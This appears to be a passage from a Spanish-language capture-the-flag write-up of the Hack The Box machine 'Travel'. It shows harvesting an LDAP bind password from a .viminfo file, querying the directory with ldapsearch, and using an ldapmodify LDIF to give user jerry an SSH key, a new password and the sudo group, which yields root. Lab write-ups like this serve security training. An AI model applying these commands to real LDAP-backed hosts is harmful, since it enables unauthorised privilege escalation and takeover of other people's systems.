$ ssh lynik-admin@travel.htb The authenticity of host 'travel.htb (10.10.10.189)' can't be established. ECDSA key fingerprint is SHA256:KSjh2mhuESUZQcaB1ewLHie9gTUCmvOlypvBpcyAF/w. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'travel.htb,10.10.10.189' (ECDSA) to the list of known hosts. lynik-admin@travel.htb's password: Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64) System information as of Fri 29 May 2020 03:51:55 PM UTC System load: 0.69 Usage of /: 45.9% of 15.68GB Memory usage: 12% Swap usage: 0% Processes: 210 Users logged in: 2 IPv4 address for br-836575a2ebbb: 172.20.0.1 IPv4 address for br-8ec6dcae5ba1: 172.30.0.1 IPv4 address for docker0: 172.17.0.1 IPv4 address for eth0: 10.10.10.189 Last login: Fri May 29 15:45:03 2020 from 10.10.15.59 lynik-admin@travel:~$ whoami lynik-admin lynik-admin@travel:~$ ls -l total 4 -r--r--r-- 1 root root 33 May 29 15:44 user.txt lynik-admin@travel:~$ |
Y conseguimos la flag de user.
Escalado de privilegios
Procedemos a enumerar la máquina en busca de posibles fugas o errores que nos permitan escalar privilegios y encontramos dos ficheros con información relevante en la home del usuario.
El fichero .ldaprc donde descubrimos un nuevo dominio de la máquina, ldap.travel.htb:
1 2 3 4 5 |
lynik-admin@travel:~$ cat .ldaprc HOST ldap.travel.htb BASE dc=travel,dc=htb BINDDN cn=lynik-admin,dc=travel,dc=htb lynik-admin@travel:~$ |
Y el fichero .viminfo donde descubrimos una contraseña:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 |
lynik-admin@travel:~$ cat .viminfo # This viminfo file was generated by Vim 8.1. # You may edit it if you're careful! # Viminfo version |1,4 # Value of 'encoding' when this file was written *encoding=utf-8 # hlsearch on (H) or off (h): ~h # Command Line History (newest to oldest): :wq! |2,0,1587670530,,"wq!" # Search String History (newest to oldest): # Expression History (newest to oldest): # Input Line History (newest to oldest): # Debug Line History (newest to oldest): # Registers: ""1 LINE 0 BINDPW Theroadlesstraveled |3,1,1,1,1,0,1587670528,"BINDPW Theroadlesstraveled" # File marks: '0 3 0 ~/.ldaprc |4,48,3,0,1587670530,"~/.ldaprc" # Jumplist (newest first): -' 3 0 ~/.ldaprc |4,39,3,0,1587670530,"~/.ldaprc" -' 1 0 ~/.ldaprc |4,39,1,0,1587670527,"~/.ldaprc" # History of marks within files (newest to oldest): > ~/.ldaprc * 1587670529 0 " 3 0 . 4 0 + 4 0 lynik-admin@travel:~$ |
Conocemos entonces que existe ldap en la máquina y con ello vemos que está la herramienta ldapsearch así que utilizamos la misma con la password obtenida para intentar obtener más información:
1 2 3 4 5 6 7 8 9 10 11 |
lynik-admin@travel:~$ ldapsearch -x -w Theroadlesstraveled ... # lynik-admin, travel.htb dn: cn=lynik-admin,dc=travel,dc=htb description: LDAP administrator objectClass: simpleSecurityObject objectClass: organizationalRole cn: lynik-admin userPassword:: e1NTSEF9MEpaelF3blZJNEZrcXRUa3pRWUxVY3ZkN1NwRjFRYkRjVFJta3c9PQ= = ... |
Y entre toda la información obtenida observamos que el usuario lynik-admin pertenece al grupo de “LDAP administrators” por lo que nos da un punto a favor, ya que podemos realizar cualquier modificación en cualquier usuario, incluso añadir el mismo a sudoers, entre los que encontramos los siguientes en la misma salida del último comando:
1 2 3 4 5 6 7 8 9 10 11 |
memberUid: frank memberUid: brian memberUid: christopher memberUid: johnny memberUid: julia memberUid: jerry memberUid: louise memberUid: eugene memberUid: edward memberUid: gloria memberUid: lynik |
Revisamos en google y encontramos un par de posts donde explica como funciona ldap con sudoers y como podemos aprovecharlo para escalar privilegios:
https://www.sudo.ws/man/1.8.16/sudoers.ldap.man.html
Averiguado esto, comprobamos si existe ldapmodify en la máquina:
1 2 |
lynik-admin@travel:~$ which ldapmodify /usr/bin/ldapmodify |
Y creamos nuestro fichero ldif, en nuestro caso, para elevar los privilegios del usuario jerry:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
dn: uid=jerry,ou=users,ou=linux,ou=servers,dc=travel,dc=htb changetype: modify replace: homeDirectory homeDirectory: /root - add: objectClass objectClass: ldapPublicKey - add: sshPublicKey sshPublicKey: ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDF3YcLaP/D6s/u2bpsdAGcazs7sGTiQq9VUqe6i07vNzNeVk64Ua/vAZ7YZ5UTc8879aAOKWIAy9ivh2H6iB2qqAIxD9x+lZE4PsAy9ViFxkVUqzsFZ7fwyeqreDXH/8JB/EqoU2+lV564PvfH4WgUU1w3zgeeQ9NvWQTPHQcvuHYnDMPOntLWmLwQIAQMoEwbsH3Tdc0yfkvtY5j8E1USySyiPt+yYbLQNWuJ0eEPHivlLWphd84fl5kIEVUYHJEvZXRAthrq2b+G/DeIDqps6UVbLQt8vQt2z7ZjtnwZS4xAO2WeBn30hisdKpOov81D4AQBHYo5BeIZlFeH/oEExybph93TRZpQL9RwmMsql84tkvOPfGZrUTCQ7PUTQN03+9GKFyJcdPIQdC5OM3DA+P/eO8jLftVJsenDKk560nbrhCiTTCNhn7rijfMxOTwyTStuZ7rryuP7rYYI+hNv3J5zof8LYf6a8435IUT9foN9KtHTO64502V1BbMqJBM= - replace: userPassword userPassword: Byt3m1nd - replace: gidNumber gidNumber: 27 |
Y lanzaremos ldapmodify con nuestro fichero ldif:
1 2 |
lynik-admin@travel:/tmp/xxx$ ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb" -w Theroadlesstraveled -f jerry.ldif modifying entry "uid=jerry,ou=users,ou=linux,ou=servers,dc=travel,dc=htb" |
Consiguiendo con ello escalar privilegios.
Obteniendo la flag de root
Ahora accederemos con el usuario jerry al cual elevamos los privilegios del mismo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
$ ssh -i jerry.pem jerry@travel.htb Creating directory '/home@TRAVEL/jerry'. Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-26-generic x86_64) System information disabled due to load higher than 2.0 The programs included with the Ubuntu system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. To run a command as administrator (user "root"), use "sudo <command>". See "man sudo_root" for details. jerry@travel:~$ whoami jerry jerry@travel:~$ |
Escalaremos a root:
1 2 3 4 5 6 7 8 9 10 |
jerry@travel:~$ sudo su - [sudo] password for jerry: root@travel:~# whoami root root@travel:~# ls -l total 12 drwx------ 2 root root 4096 Apr 28 19:51 bin -r-------- 1 root root 33 May 29 15:44 root.txt drwxr-xr-x 3 root root 4096 Apr 23 15:49 snap root@travel:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792